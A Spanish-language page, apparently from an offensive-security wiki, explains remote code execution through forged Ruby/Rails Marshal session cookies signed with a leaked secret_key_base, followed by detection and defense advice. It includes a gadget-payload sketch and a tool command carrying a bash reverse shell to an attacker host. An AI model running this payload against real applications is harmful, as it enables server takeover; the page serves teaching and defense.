the_open_door
café
ESEN
← Volver al índice

Ruby Marshal Cookie RCE

El RCE por cookie Marshal aprovecha las aplicaciones Ruby/Rails que guardan la sesión como un objeto serializado con Marshal dentro de la cookie, firmado con una clave secreta. Si esa clave se filtra o es la de por defecto, se forja una cookie con un objeto malicioso: al deserializarla, el servidor ejecuta código.

Por qué funciona. El CookieStore firma la cookie con secret_key_base para que nadie la manipule, pero la integridad no es confidencialidad: si conoces el secreto puedes firmar lo que quieras. Y con el serializador Marshal (histórico en Rails), deserializar datos que tú controlas equivale a construir objetos arbitrarios cuyo gadget chain acaba en ejecución de comandos. El secreto suele aparecer en el código (secrets.yml, variables de entorno, un repo .git expuesto).

El abuso. Con el secret_key_base se genera una cookie firmada que lleva un payload Marshal.

# construir la cookie firmada con el secreto filtrado y un gadget de RCE
require 'active_support'
payload = Marshal.dump(gadget)   # gadget chain -> system('<cmd>')
# firmar con secret_key_base y enviarla como cookie de sesion
# herramienta lista: rails_secret_deserialization / el modulo de metasploit
ruby rails_secret_deserialization.rb -u http://<ip>/ -s '<secret>' -c 'bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"'

Requisitos. Que la app use el serializador Marshal (no JSON) y que tengas el secret_key_base (filtrado o por defecto). Rails moderno usa JSON y cookies cifradas, que cierran este vector.

Cómo detectarlo. Cookies de sesión con payloads anómalos (mucho más largas de lo normal, bytes no imprimibles del formato Marshal \x04\x08) y errores de deserialización en los logs de la app. Un WAF puede alertar de la firma de estos gadget chains.

Defensa. Rotar y proteger el secret_key_base, usar el serializador JSON y cookies cifradas, y nunca versionar los secretos. Es primo de la inyección de objetos PHP, la deserialización en Node.js y la deserialización de pickle: todas convierten "leer datos" en "crear objetos".

Máquinas donde se aplica